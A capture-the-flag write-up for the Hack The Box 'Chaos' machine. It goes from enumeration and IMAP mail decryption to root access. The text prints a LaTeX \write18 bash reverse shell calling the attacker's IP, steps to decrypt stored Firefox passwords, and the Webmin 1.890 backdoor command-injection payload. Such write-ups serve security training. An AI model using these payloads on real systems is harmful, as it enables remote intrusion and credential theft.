Chaos Writeup
01 July 2023 #CTF #HTB #box #medium #linuxEnumeration
nmap
$ sudo nmap -sC -sV 10.10.10.120
[...]
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.34 ((Ubuntu))
|_http-server-header: Apache/2.4.34 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
110/tcp open pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after: 2028-10-25T10:01:49
| MD5: af90216592c7740fd97a786a7e9fcb92
|_SHA-1: 5a4d42233b08a24b7d5ae50909bf9570aa2cf6ba
|_pop3-capabilities: SASL RESP-CODES UIDL AUTH-RESP-CODE STLS TOP PIPELINING CAPA
|_ssl-date: TLS randomness does not represent time
143/tcp open imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after: 2028-10-25T10:01:49
| MD5: af90216592c7740fd97a786a7e9fcb92
|_SHA-1: 5a4d42233b08a24b7d5ae50909bf9570aa2cf6ba
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: more listed have ID STARTTLS IMAP4rev1 LOGINDISABLEDA0001 LOGIN-REFERRALS OK IDLE LITERAL+ Pre-login post-login SASL-IR ENABLE capabilities
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after: 2028-10-25T10:01:49
| MD5: af90216592c7740fd97a786a7e9fcb92
|_SHA-1: 5a4d42233b08a24b7d5ae50909bf9570aa2cf6ba
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: listed AUTH=PLAINA0001 ID more IMAP4rev1 have LOGIN-REFERRALS OK ENABLE LITERAL+ Pre-login post-login SASL-IR IDLE capabilities
995/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) RESP-CODES UIDL AUTH-RESP-CODE USER TOP PIPELINING CAPA
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after: 2028-10-25T10:01:49
| MD5: af90216592c7740fd97a786a7e9fcb92
|_SHA-1: 5a4d42233b08a24b7d5ae50909bf9570aa2cf6ba
10000/tcp open http MiniServ 1.890 (Webmin httpd)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-favicon: Unknown favicon MD5: EA9A0A98E2A16B0ADEA1F6ED448F4CEF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
We get a "Direct IP not allowed" message when accessing the webserver:
Let's do some directory bruteforcing to see if there are any other pages:
$ feroxbuster -u http://10.10.10.120/
[...]
301 GET 9l 28w 309c http://10.10.10.120/wp => http://10.10.10.120/wp/
[...]
There is another directory inside /wp/
which holds a Wordpress instance:
There is a password protected post, and if we click on the post title, we can see who made this post:
After trying a few default credentials, we can view the post with "human" as the password (same as the username):
IMAP
We can use these creds to login manually to the IMAP server. First, we need to base64 encode the creds in the format: <null byte>username<null byte>password
:
$ printf '\x00ayush\x00jiujitsu' | base64
AGF5dXNoAGppdWppdHN1
We have to use the SSL port to successfully authenticate:
$ nc --ssl 10.10.10.120 993
* OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN] Dovecot (Ubuntu) ready.
d AUTHENTICATE PLAIN AGF5dXNoAGppdWppdHN1
[...]
Note that we need to put a random character (in this case "d") before the command, it's a weird protocol...
Now we can list the available inboxes:
c list "" *
* LIST (\NoInferiors \UnMarked \Drafts) "/" Drafts
* LIST (\NoInferiors \UnMarked \Sent) "/" Sent
* LIST (\HasNoChildren) "/" INBOX
c OK List completed (0.002 + 0.000 + 0.001 secs).
The "Drafts" inbox is the one we are interested in (I just know it):
c select Drafts
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft \*)] Flags permitted.
* 1 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1540728611] UIDs valid
* OK [UIDNEXT 5] Predicted next UID
c OK [READ-WRITE] Select completed (0.003 + 0.000 + 0.002 secs).
We can see that there is 1 message in here, let's view it:
d fetch 1 RFC822
[...]
Hii, sahay
Check the enmsg.txt
You are the password XD.
Also attached the script which i used to encrypt.
Thanks,
Ayush
--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: base64
Content-Type: application/octet-stream;
name=enim_msg.txt
Content-Disposition: attachment;
filename=enim_msg.txt;
size=272
MDAwMDAwMDAwMDAwMDIzNK7uqnoZitizcEs4hVpDg8z18LmJXjnkr2tXhw/AldQmd/g53L6pgva9
RdPkJ3GSW57onvseOe5ai95/M4APq+3mLp4GQ5YTuRTaGsHtrMs7rNgzwfiVor7zNryPn1Jgbn8M
7Y2mM6I+lH0zQb6Xt/JkhOZGWQzH4llEbyHvvlIjfu+MW5XrOI6QAeXGYTTinYSutsOhPilLnk1e
6Hq7AUnTxcMsqqLdqEL5+/px3ZVZccuPUvuSmXHGE023358ud9XKokbNQG3LOQuRFkpE/LS10yge
+l6ON4g1fpYizywI3+h9l5Iwpj/UVb0BcVgojtlyz5gIv12tAHf7kpZ6R08=
--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: base64
Content-Type: text/x-python; charset=us-ascii;
name=en.py
Content-Disposition: attachment;
filename=en.py;
size=804
ZGVmIGVuY3J5cHQoa2V5LCBmaWxlbmFtZSk6CiAgICBjaHVua3NpemUgPSA2NCoxMDI0CiAgICBv
dXRwdXRGaWxlID0gImVuIiArIGZpbGVuYW1lCiAgICBmaWxlc2l6ZSA9IHN0cihvcy5wYXRoLmdl
dHNpemUoZmlsZW5hbWUpKS56ZmlsbCgxNikKICAgIElWID1SYW5kb20ubmV3KCkucmVhZCgxNikK
CiAgICBlbmNyeXB0b3IgPSBBRVMubmV3KGtleSwgQUVTLk1PREVfQ0JDLCBJVikKCiAgICB3aXRo
IG9wZW4oZmlsZW5hbWUsICdyYicpIGFzIGluZmlsZToKICAgICAgICB3aXRoIG9wZW4ob3V0cHV0
RmlsZSwgJ3diJykgYXMgb3V0ZmlsZToKICAgICAgICAgICAgb3V0ZmlsZS53cml0ZShmaWxlc2l6
ZS5lbmNvZGUoJ3V0Zi04JykpCiAgICAgICAgICAgIG91dGZpbGUud3JpdGUoSVYpCgogICAgICAg
ICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgY2h1bmsgPSBpbmZpbGUucmVhZChjaHVu
a3NpemUpCgogICAgICAgICAgICAgICAgaWYgbGVuKGNodW5rKSA9PSAwOgogICAgICAgICAgICAg
ICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBlbGlmIGxlbihjaHVuaykgJSAxNiAhPSAwOgog
ICAgICAgICAgICAgICAgICAgIGNodW5rICs9IGInICcgKiAoMTYgLSAobGVuKGNodW5rKSAlIDE2
KSkKCiAgICAgICAgICAgICAgICBvdXRmaWxlLndyaXRlKGVuY3J5cHRvci5lbmNyeXB0KGNodW5r
KSkKCmRlZiBnZXRLZXkocGFzc3dvcmQpOgogICAgICAgICAgICBoYXNoZXIgPSBTSEEyNTYubmV3
KHBhc3N3b3JkLmVuY29kZSgndXRmLTgnKSkKICAgICAgICAgICAgcmV0dXJuIGhhc2hlci5kaWdl
c3QoKQoK
Foothold
Decrypt Message
The mail contains 2 attachments, an encrypted blob and a python script:
def encrypt(key, filename):
chunksize = 64*1024
outputFile = "en" + filename
filesize = str(os.path.getsize(filename)).zfill(16)
IV = Random.new().read(16)
encryptor = AES.new(key, AES.MODE_CBC, IV)
with open(filename, 'rb') as infile:
with open(outputFile, 'wb') as outfile:
outfile.write(filesize.encode('utf-8'))
outfile.write(IV)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - (len(chunk) % 16))
outfile.write(encryptor.encrypt(chunk))
def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()
It's pretty obvious when reading the mail that the password is "sahay". Here is a quick python script to decrypt the message:
#!/usr/bin/env python3
from Cryptodome.Hash import SHA256
from Cryptodome.Cipher import AES
chunksize = 64 * 1024
key = SHA256.new("sahay".encode("utf-8")).digest()
with open("./msg.enc", "rb") as infile:
size = infile.read(16)
iv = infile.read(16)
aes = AES.new(key, AES.MODE_CBC, iv)
with open("./out", "wb") as outfile:
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
outfile.write(aes.decrypt(chunk))
msg.enc
is the encrypted message (base64 decoded). We write the decrypted output to a file called out
:
$ cat out
SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK
$ base64 -d out
Hii Sahay
Please check our new service which create pdf
p.s - As you told me to encrypt important msg, i did :)
http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3
Thanks,
Ayush
PDF Generator Exploit
The decrypted message reveals a hidden endpoint on the webserver:
When we intercept the request, we get a verbose output:
The interesting thing is to see \write18
enabled. As per this blog post, we can assume that pdflatex
is run with the --shell-escape
flag which enables us to run any command:
(echo
added for clarity).
Reverse shell payload: \immediate\write18{bash -c 'bash -i >%26 /dev/tcp/10.10.14.22/443 0>%261'}
(need to URL encode the &
characters).
Privesc
www-data to Ayush
There are 2 local users:
www-data@chaos:/$ ls -Alh /home
total 8.0K
drwx------ 5 ayush ayush 4.0K Jul 12 2022 ayush
drwx------ 5 sahay sahay 4.0K Jul 12 2022 sahay
We can reuse the password found in the Wordpress post (for the webmail) to get access to Ayush's account:
www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su -l ayush
Password:
ayush@chaos:~$ id
Command 'id' is available in '/usr/bin/id'
The command could not be located because '/usr/bin' is not included in the PATH environment variable.
id: command not found
That's weird, /usr/bin
isn't in our PATH. Let's check it out:
ayush@chaos:~$ echo $PATH
/home/ayush/.app
Whatever, just export a new PATH and call it a day:
ayush@chaos:~$ export PATH=/usr/bin:/bin:/sbin:/usr/sbin
ayush@chaos:~$ id
uid=1001(ayush) gid=1001(ayush) groups=1001(ayush)
Decrypt Firefox Passwords
We have a Firefox profile in ~/home/ayush/.mozilla/firefox/bzo7sjt1.default
and it has a logins.json
:
ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ cat logins.json
{"nextId":3,"logins":[{"id":2,"hostname":"https://chaos.htb:10000","httpRealm":null,"formSubmitURL":"https://chaos.htb:10000","usernameField":"user","passwordField":"pass","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDSAazrlUMZFBAhbsMDAlL9iaw==","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNx7bW1TuuCuBBAP8YwnxCZH0+pLo6cJJxnb","guid":"{cb6cd202-0ff8-4de5-85df-e0b8a0f18778}","encType":1,"timeCreated":1540642202692,"timeLastUsed":1540642202692,"timePasswordChanged":1540642202692,"timesUsed":1}],"disabledHosts":[],"version":2}
There is a stored password, but it's encrypted.
We'll use firefox_decrypt. Since the python version on the box is quite old, we'll need an older version (0.7.0) of firefox_decrypt decrypt as well.
We need to specify a master password. Guest what? We can yet again reuse the same password (jiujitsu):
ayush@chaos:~$ python3 ff.py
Master Password for profile /home/ayush/.mozilla/firefox/bzo7sjt1.default:
Website: https://chaos.htb:10000
Username: 'root'
Password: 'Thiv8wrej~'
It didn't lie, it's actually the root password:
ayush@chaos:~$ su -l
Password:
root@chaos:~# id
uid=0(root) gid=0(root) groups=0(root)
Bonus: the easy way
It turns out Webmin 1.890 has a backdoor that allows an unauthenticated user to execute code as root (it was released after the box was out). Let's grab a PoC from github like this one:
$ python3 Webmin_exploit.py -host 10.10.10.120 -port 10000 -cmd id
╦ ╦┌─┐┌┐ ┌┬┐┬┌┐┌
║║║├┤ ├┴┐│││││││
╚╩╝└─┘└─┘┴ ┴┴┘└┘ 1.890 expired Remote Root
By: n0obit4
Github: https://github.com/n0obit4
----------------------------------------
Your password has expired, and a new one must be chosen.
uid=0(root) gid=0(root) groups=0(root)
The backdoor seems to be triggered when trying to change the password of the user "gotroot":
url = "https://{}:{}/password_change.cgi".format(args.host,args.port)
[...]
header = {'Referer': 'https://{}:{}/session_login.cgi'.format(host,port)}
payload = 'user=gotroot&pam=&expired=2|echo "";{}'.format(cmd)
request = requests.post(url, data=payload, headers=header, verify=False)
Pretty spooky.
Key Takeaways
- Can execute commands in LaTeX
- Reuse passwords everywhere you can (or don't)